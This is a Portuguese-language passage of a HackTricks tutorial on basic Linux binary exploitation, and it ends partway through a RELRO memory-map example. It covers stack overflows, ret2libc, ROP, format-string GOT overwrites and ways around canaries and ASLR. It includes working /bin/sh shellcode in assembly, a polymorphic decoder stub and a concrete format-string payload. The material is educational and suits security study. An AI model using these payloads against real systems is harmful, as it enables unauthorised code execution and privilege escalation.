.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploração (Básica) (SPA)
Linux Exploração (Básica) (SPA)
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
ASLR
Aleatorização de Endereços
Desativar aleatorização (ASLR) GLOBAL (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Reativar aleatorização GLOBAL: echo 2 > /proc/sys/kernel/randomize_va_space
Desativar para uma execução (não requer root):
setarch `arch` -R ./exemplo argumentos
setarch `uname -m` -R ./exemplo argumentos
Desativar proteção de execução na pilha
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack exemplo.c -o exemplo
Arquivo Core
ulimit -c unlimited
gdb /exec arquivo_core
/etc/security/limits.conf -> * soft core unlimited
Texto
Dados
BSS
Heap
Pilha
Seção BSS: Variáveis globais ou estáticas não inicializadas
static int i;
Seção DATA: Variáveis globais ou estáticas inicializadas
int i = 5;
Seção TEXT: Instruções do código (opcodes)
Seção HEAP: Buffers reservados de forma dinâmica (malloc(), calloc(), realloc())
Seção STACK: A pilha (Argumentos passados, cadeias de ambiente (env), variáveis locais…)
1. STACK OVERFLOWS
buffer overflow, buffer overrun, stack overrun, stack smashing
Falha de segmentação ou violação de segmento: Quando se tenta acessar um endereço de memória que não foi atribuído ao processo.
Para obter o endereço de uma função dentro de um programa, pode-se fazer:
objdump -d ./PROGRAMA | grep FUNCION
ROP
Chamada para sys_execve
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
2.SHELLCODE
Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; zeramos eax
xor ebx, ebx ; ebx = 0 pois não há argumento a passar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Executar syscall
nasm -f elf assembly.asm —> Retorna um arquivo .o
ld assembly.o -o shellcodeout —> Gera um executável a partir do código assembly e podemos extrair os opcodes com objdump
objdump -d -Mintel ./shellcodeout —> Para verificar que é realmente nosso shellcode e extrair os OpCodes
Verificar se o shellcode funciona
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Para verificar se as chamadas de sistema são feitas corretamente, deve-se compilar o programa anterior e as chamadas de sistema devem aparecer em strace ./PROGRAMA_COMPILADO
Ao criar shellcodes, pode-se usar um truque. A primeira instrução é um salto para um call. O call chama o código original e também coloca o EIP na pilha. Após a instrução call, inserimos a string que precisávamos, então com esse EIP podemos apontar para a string e também continuar executando o código.
EX TRUQUE (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ usando o Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Caçador de Ovos:
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada (procura por uma assinatura colocada na shellcode). Útil nos casos em que se tem apenas um pequeno espaço para injetar código.
Shellcodes polimórficos
Consistem em shells criptografadas que possuem um pequeno código que as descriptografa e salta para ela, utilizando o truque de Call-Pop este seria um exemplo de cifra de César:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
- Atacando o Frame Pointer (EBP)
Útil em uma situação em que podemos modificar o EBP, mas não o EIP.
Sabe-se que ao sair de uma função, o seguinte código assembly é executado:
movl %ebp, %esp
popl %ebp
ret
Dessa forma, se for possível modificar o EBP ao sair de uma função (fvuln) que foi chamada por outra função, quando a função que chamou fvuln terminar, seu EIP pode ser modificado.
Em fvuln, pode-se introduzir um EBP falso que aponte para um local onde esteja o endereço da shellcode + 4 (deve-se adicionar 4 pelo pop). Assim, ao sair da função, será colocado no ESP o valor de &(\&Shellcode)+4, com o pop serão subtraídos 4 do ESP e este apontará para o endereço da shellcode quando o ret for executado.
**Exploit:**\
\&Shellcode + "AAAA" + SHELLCODE + preenchimento + &(\&Shellcode)+4
**Off-by-One Exploit**\
Permite-se modificar apenas o byte menos significativo do EBP. Pode-se realizar um ataque como o anterior, mas a memória que guarda o endereço da shellcode deve compartilhar os 3 primeiros bytes com o EBP.
## **4. Métodos return to Libc**
Método útil quando a stack não é executável ou deixa um buffer muito pequeno para modificar.
O ASLR faz com que em cada execução as funções sejam carregadas em posições diferentes da memória. Portanto, este método pode não ser eficaz nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil.
* **cdecl(C declaration)** Coloca os argumentos na stack e após sair da função limpa a pilha
* **stdcall(standard call)** Coloca os argumentos na pilha e é a função chamada que a limpa
* **fastcall** Coloca os dois primeiros argumentos em registros e o resto na pilha
Coloca-se o endereço da instrução system da libc e passa-se como argumento a string “/bin/sh”, normalmente de uma variável de ambiente. Além disso, usa-se o endereço da função exit para que, uma vez que a shell não seja mais necessária, o programa saia sem causar problemas (e escrever logs).
**export SHELL=/bin/sh**
Para encontrar os endereços que precisaremos, pode-se olhar dentro do **GDB:**\
**p system**\
**p exit**\
**rabin2 -i executável** —> Fornece o endereço de todas as funções que o programa usa ao carregar\
(Dentro de um start ou algum breakpoint): **x/500s $esp** —> Procuramos aqui a string /bin/sh
Uma vez que tenhamos esses endereços, o **exploit** seria:
“A” \* DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço de **system** (sobrescreverá o EIP) + Endereço de **exit** (ao sair de system(“/bin/sh”) esta função será chamada, pois os primeiros 4 bytes da stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de “**/bin/sh**” (será o parâmetro passado para system)
Dessa forma, o EIP será sobrescrito com o endereço de system, que receberá como parâmetro a string “/bin/sh” e, ao sair desta, executará a função exit().
Pode-se encontrar a situação em que algum byte do endereço de alguma função seja nulo ou espaço (\x20). Nesse caso, podem-se desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que nos permitirão chamar algum deles em vez da função diretamente (por exemplo, com > x/8i system-4).
Este método funciona porque, ao chamar uma função como system usando o opcode **ret** em vez de **call**, a função entende que os primeiros 4 bytes serão o endereço **EIP** para o qual retornar.
Uma técnica interessante com este método é chamar **strncpy()** para mover um payload da stack para o heap e, posteriormente, usar **gets()** para executar esse payload.
Outra técnica interessante é o uso de **mprotect()**, que permite atribuir as permissões desejadas a qualquer parte da memória. Serve ou servia em BSD, MacOS e OpenBSD, mas não em linux (controla que não se possam conceder ao mesmo tempo permissões de escrita e execução). Com este ataque, poderia-se reconfigurar a stack como executável.
**Encadeamento de funções**
Baseando-nos na técnica anterior, esta forma de exploit consiste em:\
Preenchimento + \&Função1 + \&pop;ret; + \&arg_fun1 + \&Função2 + \&pop;ret; + \&arg_fun2 + …
Dessa forma, podem-se encadear funções a serem chamadas. Além disso, se quiser usar funções com vários argumentos, podem-se colocar os argumentos necessários (ex. 4) e colocar os 4 argumentos e procurar um endereço com os opcodes: pop, pop, pop, pop, ret —> **objdump -d executável**
**Encadeamento por falsificação de frames (encadeamento de EBPs)**
Consiste em aproveitar a capacidade de manipular o EBP para encadear a execução de várias funções através do EBP e de "leave;ret"
PREENCHIMENTO
* Colocamos no EBP um EBP falso que aponta para: 2º EBP_falso + a função a ser executada: (\&system() + \&leave;ret + &“/bin/sh”)
* No EIP colocamos o endereço de uma função &(leave;ret)
Iniciamos a shellcode com o endereço para a próxima parte da shellcode, por exemplo: 2ºEBP_falso + \&system() + &(leave;ret;) + &”/bin/sh”
O 2ºEBP seria: 3ºEBP_falso + \&system() + &(leave;ret;) + &”/bin/ls”
Esta shellcode pode ser repetida indefinidamente nas partes da memória às quais se tem acesso, de forma que se consiga uma shellcode facilmente divisível por pequenos pedaços de memória.
(Encadeia-se a execução de funções misturando as vulnerabilidades vistas anteriormente de EBP e de ret2lib)
## **5.Métodos complementares**
**Ret2Ret**
Útil quando não se pode colocar um endereço da stack no EIP (verifica-se que o EIP não contenha 0xbf) ou quando não se pode calcular a localização da shellcode. No entanto, a função vulnerável aceita um parâmetro (a shellcode irá aqui).
Dessa forma, ao mudar o EIP para um endereço de um **ret**, carregar-se-á o endereço seguinte (que é o endereço do primeiro argumento da função). Ou seja, carregar-se-á a shellcode.
O exploit seria: SHELLCODE + Preenchimento (até EIP) + **\&ret** (os bytes seguintes da pilha apontam para o início da shellcode, pois se coloca na stack o endereço do parâmetro passado)
Parece que funções como **strncpy** uma vez completas eliminam da pilha o endereço onde estava guardada a shellcode, impossibilitando esta técnica. Ou seja, o endereço que passam à função como argumento (o que guarda a shellcode) é modificado por um 0x00, então ao chamar o segundo **ret** encontra-se com um 0x00 e o programa termina.
**Ret2PopRet**
Se não temos controle sobre o primeiro argumento, mas sim sobre o segundo ou o terceiro, podemos sobrescrever o EIP com um endereço para pop-ret ou pop-pop-ret, conforme necessário.
Técnica de Murat
No Linux, todos os programas são mapeados começando em 0xbfffffff
Observando como a pilha de um novo processo no Linux é construída, é possível desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. O endereço desta pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_executável_completo) - strlen(shellcode)
Dessa maneira, obtém-se de forma simples o endereço onde está a variável de ambiente com a shellcode.
Isso é possível graças ao fato de que a função execle permite criar um ambiente que contenha apenas as variáveis de ambiente desejadas.
Jump to ESP: Estilo Windows
Como o ESP sempre aponta para o início da pilha, esta técnica consiste em substituir o EIP pelo endereço de uma chamada a jmp esp ou call esp. Assim, a shellcode é armazenada após a sobrescritura do EIP, pois após a execução do ret, o ESP estará apontando para o endereço seguinte, exatamente onde a shellcode foi guardada.
Se o ASLR não estiver ativo no Windows ou Linux, pode-se chamar jmp esp ou call esp armazenadas em algum objeto compartilhado. Se o ASLR estiver ativo, pode-se procurar dentro do próprio programa vulnerável.
Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, evita que instruções push ou pop executadas durante a função afetem a shellcode (o que poderia acontecer se estivesse no meio da pilha da função).
De forma muito semelhante, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, podemos chamar call eax ou jmp eax (ret2eax).
ROP (Return Oriented Programming) ou borrowed code chunks
Os pedaços de código que são invocados são conhecidos como gadgets.
Esta técnica consiste em encadear diferentes chamadas a funções usando a técnica de ret2libc e o uso de pop, ret.
Em algumas arquiteturas de processadores, cada instrução é um conjunto de 32 bits (MIPS, por exemplo). No entanto, na Intel, as instruções têm tamanhos variáveis e várias instruções podem compartilhar um conjunto de bits, por exemplo:
movl $0xe4ff, -0x(%ebp) —> Contém os bytes 0xffe4 que também se traduzem por: jmp *%esp
Assim, é possível executar algumas instruções que nem sequer estão no programa original.
ROPgadget.py nos ajuda a encontrar valores em binários.
Este programa também é útil para criar os payloads. Você pode especificar a biblioteca da qual deseja extrair os ROPs e ele gerará um payload em Python. Você fornece o endereço onde a biblioteca está e o payload está pronto para ser usado como shellcode. Além disso, como usa chamadas ao sistema, não executa nada na pilha, apenas armazena endereços de ROPs que serão executados por meio de ret. Para usar este payload, deve-se chamar o payload por uma instrução ret.
Integer overflows
Este tipo de overflow ocorre quando uma variável não está preparada para suportar um número tão grande quanto o fornecido, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
Variáveis não inicializadas
Não se sabe o valor que uma variável não inicializada pode assumir, e pode ser interessante observá-lo. Pode acontecer de ela assumir o valor que uma variável de uma função anterior tinha, e essa variável anterior pode ser controlada pelo atacante.
Format Strings
Em C, printf
é uma função que pode ser usada para imprimir uma string. O primeiro parâmetro que esta função espera é o texto bruto com os formatadores. Os parâmetros seguintes esperados são os valores para substituir os formatadores no texto bruto.
A vulnerabilidade aparece quando um texto do atacante é colocado como o primeiro argumento nesta função. O atacante poderá criar uma entrada especial abusando das capacidades da string de formato do printf para escrever qualquer dado em qualquer endereço. Sendo capaz, dessa forma, de executar código arbitrário.
Formatadores:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
%n
escreve o número de bytes escritos no endereço indicado. Escrever tantos bytes quanto o número hexadecimal que precisamos escrever é como você pode escrever qualquer dado.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
Esta é a tabela que contém o endereço para as funções externas usadas pelo programa.
Obtenha o endereço desta tabela com: objdump -s -j .got ./exec
Observe como, após carregar o executável no GEF, você pode ver as funções que estão no GOT: gef➤ x/20x 0xDIR_GOT
Usando o GEF, você pode iniciar uma sessão de depuração e executar got
para ver a tabela got:
Em um binário, o GOT tem os endereços das funções ou para a seção PLT que carregará o endereço da função. O objetivo deste exploit é sobrescrever a entrada do GOT de uma função que será executada mais tarde com o endereço da PLT da função system
. Idealmente, você vai sobrescrever o GOT de uma função que será chamada com parâmetros controlados por você (assim você poderá controlar os parâmetros enviados para a função system).
Se system
não for usada pelo script, a função system não terá uma entrada no GOT. Neste cenário, você precisará vazar primeiro o endereço da função system
.
Procedure Linkage Table é uma tabela somente leitura no arquivo ELF que armazena todos os símbolos que precisam de resolução. Quando uma dessas funções é chamada, o GOT irá redirecionar o fluxo para o PLT para que possa resolver o endereço da função e escrevê-lo no GOT. Então, na próxima vez que uma chamada for realizada para aquele endereço, a função é chamada diretamente sem precisar resolvê-la.
Você pode ver os endereços do PLT com objdump -j .plt -d ./vuln_binary
Fluxo do Exploit
Como explicado anteriormente, o objetivo é sobrescrever o endereço de uma função na tabela GOT que será chamada mais tarde. Idealmente, poderíamos definir o endereço para um shellcode localizado em uma seção executável, mas provavelmente você não conseguirá escrever um shellcode em uma seção executável.
Portanto, uma opção diferente é sobrescrever uma função que recebe seus argumentos do usuário e apontá-la para a função system
.
Para escrever o endereço, geralmente são feitos 2 passos: Você escreve primeiro 2Bytes do endereço e depois os outros 2. Para fazer isso, $hn
é usado.
HOB é chamado para os 2 bytes superiores do endereço
LOB é chamado para os 2 bytes inferiores do endereço
Então, por causa de como a string de formato funciona, você precisa escrever primeiro o menor entre [HOB, LOB] e depois o outro.
Se HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Se HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
Modelo de Exploit de String de Formato
Você pode encontrar um modelo para explorar o GOT usando strings de formato aqui:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
.fini_array
Essencialmente, esta é uma estrutura com funções que serão chamadas antes do programa terminar. Isso é interessante se você puder chamar seu shellcode apenas pulando para um endereço, ou em casos em que você precisa voltar ao main novamente para explorar a string de formato uma segunda vez.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
Note que isso não criará um loop eterno porque quando você voltar para o main, o canary perceberá, o fim da pilha pode estar corrompido e a função não será chamada novamente. Então, com isso, você será capaz de ter mais 1 execução da vulnerabilidade.
Format Strings para Despejar Conteúdo
Uma string de formatação também pode ser abusada para despejar conteúdo da memória do programa.
Por exemplo, na seguinte situação há uma variável local na pilha apontando para uma flag. Se você encontrar onde na memória o ponteiro para a flag está, você pode fazer o printf acessar esse endereço e imprimir a flag:
Então, a flag está em 0xffffcf4c
E do vazamento você pode ver o ponteiro para a flag está no 8º parâmetro:
Então, acessando o 8º parâmetro você pode obter a flag:
Note que seguindo o exploit anterior e percebendo que você pode vazar conteúdo, você pode definir ponteiros para printf
para a seção onde o executável está carregado e despejar ele inteiramente!
DTOR
{% hint style="danger" %} Hoje em dia é muito raro encontrar um binário com uma seção dtor. {% endhint %}
Os destrutores são funções que são executadas antes do programa terminar.
Se você conseguir escrever um endereço para um shellcode em __DTOR_END__
, isso será executado antes do programa terminar.
Obtenha o endereço desta seção com:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
Geralmente, você encontrará a seção DTOR entre os valores ffffffff
e 00000000
. Então, se você apenas ver esses valores, significa que não há nenhuma função registrada. Portanto, sobrescreva o 00000000
com o endereço para o shellcode para executá-lo.
Format Strings para Buffer Overflows
O sprintf move uma string formatada para uma variável. Portanto, você pode abusar do formato de uma string para causar um buffer overflow na variável onde o conteúdo é copiado.
Por exemplo, o payload %.44xAAAA
irá escrever 44B+"AAAA" na variável, o que pode causar um buffer overflow.
__atexit Structures
{% hint style="danger" %} Hoje em dia é muito estranho explorar isso. {% endhint %}
atexit()
é uma função à qual outras funções são passadas como parâmetros. Essas funções serão executadas ao executar um exit()
ou o retorno do main.
Se você conseguir modificar o endereço de qualquer uma dessas funções para apontar para um shellcode, por exemplo, você ganhará controle do processo, mas isso atualmente é mais complicado.
Atualmente, os endereços das funções a serem executadas estão ocultos atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são criptografados com XOR e deslocamentos com uma chave aleatória. Portanto, atualmente esse vetor de ataque é não muito útil pelo menos em x86 e x64_86.
A função de criptografia é PTR_MANGLE
. Outras arquiteturas como m68k, mips32, mips64, aarch64, arm, hppa... não implementam a função de criptografia porque ela retorna o mesmo que recebeu como entrada. Então, essas arquiteturas seriam atacáveis por esse vetor.
setjmp() & longjmp()
{% hint style="danger" %} Hoje em dia é muito estranho explorar isso. {% endhint %}
Setjmp()
permite salvar o contexto (os registradores)
longjmp()
permite restaurar o contexto.
Os registradores salvos são: EBX, ESI, EDI, ESP, EIP, EBP
O que acontece é que EIP e ESP são passados pela função PTR_MANGLE
, então as arquiteturas vulneráveis a esse ataque são as mesmas mencionadas acima.
Eles são úteis para recuperação de erros ou interrupções.
No entanto, pelo que li, os outros registradores não são protegidos, então se houver um call ebx
, call esi
ou call edi
dentro da função sendo chamada, o controle pode ser assumido. Ou você também poderia modificar o EBP para modificar o ESP.
VTable e VPTR em C++
Cada classe tem uma Vtable que é um array de ponteiros para métodos.
Cada objeto de uma classe tem um VPtr que é um ponteiro para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma sobrescrita do VPtr for alcançada, ele poderia ser modificado para apontar para um método fictício para que a execução de uma função fosse para o shellcode.
Medidas preventivas e evasões
ASLR não tão aleatório
PaX divide o espaço de endereçamento do processo em 3 grupos:
Código e dados iniciados e não iniciados: .text, .data e .bss —> 16bits de entropia na variável delta_exec, esta variável é iniciada aleatoriamente com cada processo e é somada às direções iniciais
Memória alocada por mmap() e bibliotecas compartilhadas —> 16bits, delta_mmap
A pilha —> 24bits, delta_stack —> Realmente 11 (do 10º ao 20º byte inclusivo) —> alinhado a 16bytes —> 524.288 possíveis endereços reais da pilha
As variáveis de ambiente e os argumentos se deslocam menos que um buffer na pilha.
Return-into-printf
É uma técnica para converter um buffer overflow em um erro de string formatada. Consiste em substituir o EIP para que aponte para um printf da função e passar como argumento uma string formatada manipulada para obter valores sobre o estado do processo.
Ataque a bibliotecas
As bibliotecas estão em uma posição com 16bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chama a fork(), o espaço de endereçamento de memória é clonado no processo filho e mantido intacto. Portanto, pode-se tentar fazer um brute force na função usleep() da libc passando "16" como argumento de forma que, quando demorar mais do que o normal para responder, essa função terá sido encontrada. Sabendo onde está essa função, pode-se obter delta_mmap e calcular os demais.
A única forma de ter certeza de que o ASLR funciona é usando arquitetura de 64bits. Lá não há ataques de força bruta.
StackGuard e StackShield
StackGuard insere antes do EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Ainda são vulneráveis recv(), memcpy(), read(), bcoy() e não protege o EBP
StackShield é mais elaborado que StackGuard
Guarda em uma tabela (Global Return Stack) todos os endereços EIP de retorno de forma que o overflow não cause nenhum dano. Além disso, ambas as direções podem ser comparadas para ver se houve um desbordamento.
Também se pode verificar o endereço de retorno com um valor limite, assim se o EIP for para um local diferente do habitual, como o espaço de dados, será detectado. Mas isso é contornado com Ret-to-lib, ROPs ou ret2ret.
Como se pode ver, stackshield também não protege as variáveis locais.
Stack Smash Protector (ProPolice) -fstack-protector
Coloca o canário antes do EBP. Reorganiza as variáveis locais para que os buffers estejam nas posições mais altas e assim não possam sobrescrever outras variáveis.
Além disso, realiza uma cópia segura dos argumentos passados acima da pilha (acima das vars locais) e usa essas cópias como argumentos.
Não pode proteger arrays de menos de 8 elementos nem buffers que façam parte de uma estrutura do usuário.
O canário é um número aleatório tirado de “/dev/urandom” ou senão é 0xff0a0000. É armazenado em TLS (Thread Local Storage). Os threads compartilham o mesmo espaço de memória, o TLS é uma área que tem variáveis globais ou estáticas de cada thread. No entanto, em princípio, estas são copiadas do processo pai, embora o processo filho possa modificar esses dados sem alterar os do pai ou dos outros filhos. O problema é que se fork() é usado mas não se cria um novo canário, então todos os processos (pai e filhos) usam o mesmo canário. Em i386 é armazenado em gs:0x14 e em x86_64 é armazenado em fs:0x28
Esta proteção localiza funções que tenham buffer que possam ser atacados e inclui nelas código no início da função para colocar o canário e código no final para verificá-lo.
A função fork() realiza uma cópia exata do processo do pai, por isso mesmo se um servidor web chama a fork() pode-se fazer um ataque de força bruta byte por byte até descobrir o canário que está sendo utilizado.
Se a função execve() for usada após fork(), o espaço é sobrescrito e o ataque já não é possível. vfork() permite executar o processo filho sem criar um duplicado até que o processo filho tente escrever, então sim cria o duplicado.
Relocation Read-Only (RELRO)
Relro
Relro (Read only Relocation) afeta as permissões de memória de forma semelhante ao NX. A diferença é que enquanto o NX torna a pilha executável, o RELRO torna certas coisas somente leitura para que não possamos escrever nelas. A maneira mais comum que vi isso ser um obstáculo é impedindo-nos de fazer uma sobrescrita da tabela got
, que será abordada mais tarde. A tabela got
contém endereços para funções libc para que o binário saiba quais são os endereços e possa chamá-los. Vamos ver como são as permissões de memória para uma entrada da tabela got
para um binário com e sem relro.
Com relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Sem relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
